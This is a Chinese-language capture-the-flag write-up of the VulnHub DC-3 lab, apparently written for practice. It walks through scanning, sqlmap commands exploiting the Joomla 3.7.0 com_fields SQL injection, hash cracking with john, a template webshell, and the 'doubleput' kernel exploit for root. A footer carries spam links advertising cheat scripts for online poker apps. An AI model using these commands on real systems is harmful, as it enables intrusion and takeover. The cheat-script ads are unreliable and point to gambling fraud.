渗透测试靶机vulnhub——DC3实战笔记
创始人
2025-05-30 06:52:00

vm在导入虚拟机的时候把IDE里面的改成IDE 0:0

信息收集

fscan扫描存活主机

目标机器是192.168.1.106

nmap扫描端口

nmap -A 192.168.1.106 -p-                                                                                                                                                                                                          255 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-16 10:24 CST
Nmap scan report for 192.168.1.106
Host is up (0.00031s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
|_http-server-header: Apache/2.4.18 (Ubuntu)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.47 seconds
zsh: segmentation fault  nmap -A 192.168.1.106 -p-

就开放了80端口,直接浏览器访问

通过浏览器插件知道目标网站cms,php版本等信息

目录扫描后台

└─$ dirb http://192.168.1.106/

扫描漏洞

安装工具JoomScan

git clone https://github.com/rezasp/joomscan.git  ##下载源码
cd joomscan  ##进入路径
perl joomscan.pl ##运行
perl joomscan.pl --url 192.168.1.106

根据上面的信息可以搜集相关版本的漏洞

漏洞发现

通过上面信息收集的基本信息我们可以 使用工具searchsploit 搜Joomla 的版本号即可。

└─$ searchsploit Joomla 3.7.0      

将exp说明文件复制到桌面上

cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomscan-1.txt         

查看文件SQL注入,直接使用sqlmap执行命令

查看表名

└─$ sqlmap -u "http://192.168.1.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

└─$ sqlmap -u "http://192.168.1.106/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --columns -p list[fullordering]

爆破字段

查询#__users表的name、password字段

在桌面随便建一个文件把password的hash密文放进去 然后使用john进行爆破 密码:snoopy

在后台模板处写入一句话木马

连接webshell

提权

uname -a 查看内核版本

上传提权脚本并运行

cp /usr/share/exploitdb/exploits/linux/local/39772.txt poc.txt

下载39772压缩包

kali开启web服务,

└─$ python3 -m http.server 80       

目标机下载压缩包解压

unzip 39772.zip
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

提权成功

flag

查看flag

总结

  • 学习使用JoomScan工具

  • 用searchsploit 查找已知漏洞exp

  • John工具破解密码hash

  • 后台模板写shell

朔风如解意,容易莫摧残

相关内容

热门资讯

教导学术观点66徐州麻将外挂辅... 1. 无需人工智能权限即可帮助您快速完成GG Poker计算辅助教程,并沉浸在游戏中。2. 整个GG...
玩家透露~《新版wpk俱乐部》... 你好.《新版wpk俱乐部》这款游戏可以开挂的,确实是有挂的,很多玩家在这款游戏中打牌都会发现很多用户...
玩家透露~Poker Mast... 您好.Poker Master这款游戏可以开挂的,确实是有挂的,需要了解加微【97762250】很多...
玩家透露~wepoke线上透明... 玩家透露~wepoke线上透明挂辅助脚本(透视)详细教程(有挂教程)-哔哩哔哩是一款具有ia特色的软...
玩家透露~德州菠萝透明挂辅助脚... 玩家透露~德州菠萝透明挂辅助脚本(透视)详细教程(有挂教程)-哔哩哔哩是一款具有ia特色的软件,德州...